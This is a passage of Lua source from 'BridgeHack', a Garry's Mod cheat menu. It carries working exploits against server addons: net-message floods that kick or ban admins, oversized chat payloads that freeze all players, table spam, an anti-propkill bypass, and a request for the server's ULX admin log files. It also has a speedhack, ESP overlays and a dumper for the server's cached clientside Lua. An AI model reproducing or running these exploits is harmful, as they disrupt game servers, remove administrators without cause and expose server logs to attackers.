2997 end):SetImage( "icon16/tick.png" )
2998
2999
3000
3001 DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
3002
3003 ply:ConCommand("__bh_lagdarkrpdashit")
3004
3005 end):SetImage( "icon16/accept.png" )
3006
3007
3008
3009 DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
3010
3011 ply:ConCommand("__bh_stopplag")
3012
3013 end):SetImage( "icon16/cancel.png" )
3014
3015
3016
3017 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
3018
3019 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
3020
3021 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
3022
3023 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
3024
3025 status("Spoofed Physgun And Player Color.")
3026
3027 end):SetImage( "icon16/color_wheel.png" )
3028
3029
3030
3031 local exploitshacks = menu:AddSubMenu("Exploits")
3032
3033
3034
3035 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
3036
3037 chatP("Bypassing Apanti..")
3038
3039 net.Receive("sMsgStandard", function()
3040
3041 print("#Bypassed by HaxRUs")
3042
3043 end)
3044
3045
3046
3047 net.Receive("sNotifyHit", function()
3048
3049
3050
3051 end)
3052
3053
3054
3055 net.Receive("sMsgAdmins", function()
3056
3057
3058
3059 end)
3060
3061
3062
3063 net.Receive("sAlertNotice", function()
3064
3065
3066
3067 end)
3068
3069 end):SetImage( "icon16/link_break.png" )
3070
3071
3072
3073 exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
3074
3075 ply:ConCommand("bh_nlr_freeze 1")
3076
3077 end):SetImage( "icon16/book_error.png" )
3078
3079
3080
3081 exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
3082
3083 ply:ConCommand("bh_nlr_freeze 0")
3084
3085 end):SetImage( "icon16/book.png" )
3086
3087
3088
3089 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
3090
3091 status("Downloading ULX LOGS")
3092
3093 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
3094
3095 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
3096
3097 else
3098
3099 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
3100
3101 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
3102
3103 timer.Simple( 15, function()
3104
3105 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
3106
3107 consoleP("**********************")
3108
3109 consoleP("** SUCCESS ULX DUMP **")
3110
3111 consoleP("**********************")
3112
3113 end)
3114
3115 end
3116
3117 end ):SetImage( "icon16/lock_break.png" )
3118
3119
3120
3121 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
3122
3123 chatP("Kicking... (Will only work on admins+)")
3124
3125 timer.Create( "aekickdaskids", 3, 0, function()
3126
3127 for k,v in pairs(player.GetAll()) do
3128
3129 if( v:GetUserGroup() != "user" ) then
3130
3131 if( v:GetUserGroup() != "vip" ) then
3132
3133 for i=0, 700 do
3134
3135 net.Start('plyWarning')
3136
3137 net.WriteEntity(v)
3138
3139 net.WriteString('You have to select a player before doing a action.')
3140
3141 net.SendToServer()
3142
3143 end
3144
3145 consoleP('Attempting to kick '.. v:Nick().. "!")
3146
3147 end
3148
3149 end
3150
3151 end
3152
3153 end)
3154
3155 end):SetImage("icon16/wand.png")
3156
3157
3158
3159 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
3160
3161 chatP("Banning...")
3162
3163 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
3164
3165 for k,v in pairs(player.GetAll()) do
3166
3167 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
3168
3169 if v != LocalPlayer() then
3170
3171 status("Banning.. "..v:Nick())
3172
3173 net.Start("banleaver")
3174
3175 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
3176
3177 net.SendToServer()
3178
3179 end
3180
3181 end
3182
3183 end
3184
3185 end)
3186
3187 end):SetImage("icon16/wand.png")
3188
3189
3190
3191 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
3192
3193 chatP("Freezing everybody.. (Except you)")
3194
3195 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3196
3197 local trash = "";
3198
3199 for i=0, 15000 do
3200
3201 trash = trash .. string.char(math.random(32, 126));
3202
3203 end
3204
3205
3206
3207 status("Freeze wave incoming")
3208
3209 timer.Simple(1,function()
3210
3211 status("Freeze wave done")
3212
3213 end)
3214
3215
3216
3217 for i=0,3 do
3218
3219 net.Start("atlaschat.chat")
3220
3221 net.WriteString("// ".. trash)
3222
3223 net.SendToServer()
3224
3225 end
3226
3227 end)
3228
3229 end):SetImage( "icon16/lock.png" )
3230
3231
3232
3233 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
3234
3235 chatP("Stopping the freeze..")
3236
3237 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3238
3239
3240
3241 end)
3242
3243 end):SetImage( "icon16/lock_open.png" )
3244
3245
3246
3247 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3248
3249 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
3250
3251 local friends = {}
3252
3253 table.insert( friends, math.random(1,9999) )
3254
3255 for i = 1,6000 do
3256
3257 net.Start("friendlist")
3258
3259 net.WriteTable(friends)
3260
3261 net.SendToServer()
3262
3263 end
3264
3265 status("PROGRESS [10000/10000]")
3266
3267 end)
3268
3269 end ):SetImage( "icon16/script_error.png" )
3270
3271
3272
3273 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3274
3275 timer.Destroy("spamdafukFRIENDSULX")
3276
3277 status("Stopped ULX SPAM FRIENDS")
3278
3279 end):SetImage( "icon16/script.png" )
3280
3281
3282
3283 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
3284
3285 GiveMenu()
3286
3287 end):SetImage( "icon16/book_key.png" )
3288
3289
3290
3291 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
3292
3293 chatP("Kicking admins, Including anyone who isnt a user")
3294
3295 ply:ConCommand("bh_mx_kickadmins")
3296
3297 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
3298
3299 for k,v in ipairs(player.GetAll()) do
3300
3301 if( v:GetUserGroup() != "user" ) then
3302
3303 if v:Nick() != (ply:Nick()) then
3304
3305 for i=0, 700 do
3306
3307 net.Start( "GetCar" )
3308
3309 net.WriteEntity(v)
3310
3311 net.WriteEntity(v)
3312
3313 net.SendToServer()
3314
3315 end
3316
3317 chatP('Attempting to kick '.. v:Nick())
3318
3319 end
3320
3321 end
3322
3323 end
3324
3325 end)
3326
3327 end):SetImage( "icon16/wand.png" )
3328
3329
3330
3331 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
3332
3333 chatP("Stopping the kicks")
3334
3335 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
3336
3337 end):SetImage( "icon16/wand.png" )
3338
3339
3340
3341 local Misc = menu:AddSubMenu(" Misc ")
3342
3343
3344
3345 Misc:AddOption( "Hackable Server List",function()
3346
3347 ply:ConCommand("bh_serverlist")
3348
3349 end):SetImage( "icon16/book.png" )
3350
3351
3352
3353 Misc:AddOption( "Changelog",function()
3354
3355 ChangeLogMenu()
3356
3357 end):SetImage( "icon16/book.png" )
3358
3359
3360
3361 Misc:AddOption( "List Rank - Playername - Money",function()
3362
3363 chatP( "Check Console\n" )
3364
3365 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
3366
3367 for k,v in pairs(player.GetAll()) do
3368
3369 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
3370
3371 if v:IsAdmin() then
3372
3373 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3374
3375 else
3376
3377 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3378
3379 end
3380
3381 end
3382
3383 end):SetImage( "icon16/text_align_center.png" )
3384
3385
3386
3387 Misc:AddOption( "Check exploits", function()
3388
3389 ply:ConCommand("bh_check")
3390
3391end ):SetImage( "icon16/book_addresses.png" )
3392
3393
3394
3395 Misc:AddOption( "ClientSide Lua Viewer",function()
3396
3397 chatP("Opening clientside lua viewer...")
3398
3399 ply:ConCommand("bh_lua")
3400
3401 end):SetImage( "icon16/application_osx_terminal.png" )
3402
3403
3404
3405 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
3406
3407 local DebugMenu = menu:AddSubMenu(" Debug Settings")
3408
3409 DebugMenu:AddOption(" Reset Default Config.", function()
3410
3411 Debug("Resetting Cheat Variables...")
3412
3413 ResetCvar("bh_menu_effects", 1)
3414
3415 ResetCvar("bh_firstload_correct", 0)
3416
3417 ResetCvar("bh_chat_status",0)
3418
3419 ResetCvar("bh_cheats_enabled_on_start", 0)
3420
3421 ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
3422
3423 ResetCvar("bh_showhud", 1)
3424
3425 ResetCvar("bh_notify", 1)
3426
3427 end)
3428
3429
3430
3431 DebugMenu:AddOption(" Debug",function()
3432
3433 for k,v in pairs(player.GetAll()) do
3434
3435 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
3436
3437 end
3438
3439 end)
3440
3441 end
3442
3443
3444
3445 menu:AddSpacer()
3446
3447
3448
3449 menu:AddOption( "Config Menu", function()
3450
3451 local DermaPanel = vgui.Create( "DFrame" )
3452
3453 DermaPanel:SetPos( 100, 100 )
3454
3455 DermaPanel:SetSize( 300, 400 )
3456
3457 DermaPanel:SetTitle( " " )
3458
3459 DermaPanel:SetVisible( true )
3460
3461 DermaPanel:SetDraggable( true )
3462
3463 DermaPanel:ShowCloseButton( false )
3464
3465 function DermaPanel:Paint( w, h )
3466
3467 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
3468
3469 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
3470
3471 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
3472
3473 end
3474
3475
3476
3477 local Button = vgui.Create("DButton", DermaPanel)
3478
3479 Button:SetPos( 250, 2 )
3480
3481 Button:SetSize( 45, 19 )
3482
3483 Button:SetText( "" )
3484
3485 Button:SetTextColor( Color( 255, 255, 255) )
3486
3487 function Button:Paint( w, h )
3488
3489 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
3490
3491 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
3492
3493 end
3494
3495 Button.DoClick = function()
3496
3497 DermaPanel:Close()
3498
3499 end
3500
3501
3502
3503 DermaPanel:MakePopup()
3504
3505
3506
3507 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
3508
3509 ESPMixer:SetPos( 10,170)
3510
3511 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
3512
3513 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
3514
3515 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
3516
3517 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
3518
3519 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
3520
3521 daespvector = ESPMixer:GetColor()
3522
3523
3524
3525 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
3526
3527 ESPMixButton:SetPos( 5, 265 )
3528
3529 ESPMixButton:SetText( "Set ESP Color" )
3530
3531 ESPMixButton:SetSize( 120, 15 )
3532
3533 ESPMixButton.DoClick = function()
3534
3535 print(daespvector)
3536
3537 ply:ConCommand("bh_esp_infocolor_r "..daespr)
3538
3539 ply:ConCommand("bh_esp_infocolor_g "..daespg)
3540
3541 ply:ConCommand("bh_esp_infocolor_b "..daespb)
3542
3543 end
3544
3545
3546
3547 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3548
3549 EspBoxes:SetPos( 10, 25 )// Set the position
3550
3551 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
3552
3553 EspBoxes:SetText("ESP Boxes")
3554
3555 EspBoxes:SetConVar( "bh_esp_box" )
3556
3557 EspBoxes:SizeToContents()
3558
3559
3560
3561 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3562
3563 ShowHP:SetPos( 10, 45 )// Set the position
3564
3565 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
3566
3567 ShowHP:SetText("Show HP On ESP")
3568
3569 ShowHP:SetConVar( "bh_esp_hp" )
3570
3571 ShowHP:SizeToContents()
3572
3573
3574
3575 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3576
3577 ShowRank:SetPos( 10, 65 )// Set the position
3578
3579 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
3580
3581 ShowRank:SetText("Show Rank On ESP")
3582
3583 ShowRank:SetConVar( "bh_esp_rank" )
3584
3585 ShowRank:SizeToContents()
3586
3587
3588
3589 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3590
3591 Rdistance:SetPos( 10, 85 )// Set the position
3592
3593 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
3594
3595 Rdistance:SetText("Use a Maximum render distance")
3596
3597 Rdistance:SetConVar( "bh_renderdistance_enable" )
3598
3599 Rdistance:SizeToContents()
3600
3601
3602
3603 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3604
3605 Rdistance:SetPos( 10, 105 )// Set the position
3606
3607 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
3608
3609 Rdistance:SetText("Top Scrolling Message")
3610
3611 Rdistance:SetConVar( "bh_notify" )
3612
3613 Rdistance:SizeToContents()
3614
3615
3616
3617 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3618
3619 PlaySound:SetPos( 10, 125 )// Set the position
3620
3621 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
3622
3623 PlaySound:SetText("Menu sounds")
3624
3625 PlaySound:SetConVar( "bh_playsound" )
3626
3627 PlaySound:SizeToContents()
3628
3629
3630
3631 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
3632
3633 RenderDistance:SetPos( 25, 145) // Set the position
3634
3635 RenderDistance:SetSize( 280, 25 ) // Set the size
3636
3637 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
3638
3639 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
3640
3641 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
3642
3643 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
3644
3645 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
3646
3647 end ):SetImage( "icon16/wrench.png" )
3648
3649
3650
3651 menu:Open()
3652
3653 end)
3654
3655
3656
3657 concommand.Add("-bh_menu", function( ply )
3658
3659 status("Menu Closed.")
3660
3661 if GetConVarNumber("bh_menu_effects") == 1 then
3662
3663 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
3664
3665 end
3666
3667 local menu = DermaMenu()
3668
3669 end)
3670
3671
3672
3673 function ESP_on( )
3674
3675 ply:ConCommand("bh_esp 1")
3676
3677 end
3678
3679
3680
3681 function ESP_off( )
3682
3683 ply:ConCommand("bh_esp 0")
3684
3685 end
3686
3687
3688
3689 function speedhack_on( )
3690
3691 ply:ConCommand("host_framerate 8;host_framerate 8")
3692
3693 status("Enabled SpeedHack")
3694
3695 end
3696
3697
3698
3699 function speedhack_off( )
3700
3701 ply:ConCommand("host_framerate 0;host_framerate 0")
3702
3703 status("Disabled SpeedHack")
3704
3705 end
3706
3707
3708
3709 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
3710
3711
3712
3713/*
3714
3715[[----------------------------------------------------------------]]
3716
3717[[----------------------------------------------------------------]]
3718
3719 ____ ___ __ __
3720
3721/\ _`\ /\_ \ __ /\ \__ __ /\ \
3722
3723\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
3724
3725 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
3726
3727 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
3728
3729 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
3730
3731 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
3732
3733/\ \ __
3734
3735\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
3736
3737 \ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
3738
3739 \ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
3740
3741 \ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
3742
3743 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
3744
3745
3746
3747[[----------------------------------------------------------------]]
3748
3749[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
3750
3751
3752
3753local VIEWER = {}
3754
3755
3756
3757function VIEWER:Init()
3758
3759 self:SetTitle("BridgeHack Clientside Lua Viewer")
3760
3761 self:SetSize(1200, 550)
3762
3763 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
3764
3765 surface.SetDrawColor(Color(108,153,192))
3766
3767 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
3768
3769 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
3770
3771 end
3772
3773 end
3774
3775derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
3776
3777
3778
3779/*
3780
3781[[----------------------------------------------------------------]]
3782
3783[[----------------------------------------------------------------]]
3784
3785 ____
3786
3787/\ _`\
3788
3789\ \ \L\_\ __ ___ ___ __ __
3790
3791 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
3792
3793 \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
3794
3795 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
3796
3797 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
3798
3799 /\___/
3800
3801 \/__/
3802
3803 ____
3804
3805/\ _`\
3806
3807\ \ \L\ \___ _____ __ __ _____
3808
3809 \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
3810
3811 \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
3812
3813 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
3814
3815 \/_/\/___/ \ \ \/ \/___/ \ \ \/
3816
3817 \ \_\ \ \_\
3818
3819 \/_/ \/_/
3820
3821[[----------------------------------------------------------------]]
3822
3823[[----------------------------------------------------------------]]
3824
3825*/
3826
3827
3828
3829function DrawFancyPopup(message)
3830
3831 fancyPopup = vgui.Create("DFrame")
3832
3833 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
3834
3835end
3836
3837
3838
3839concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)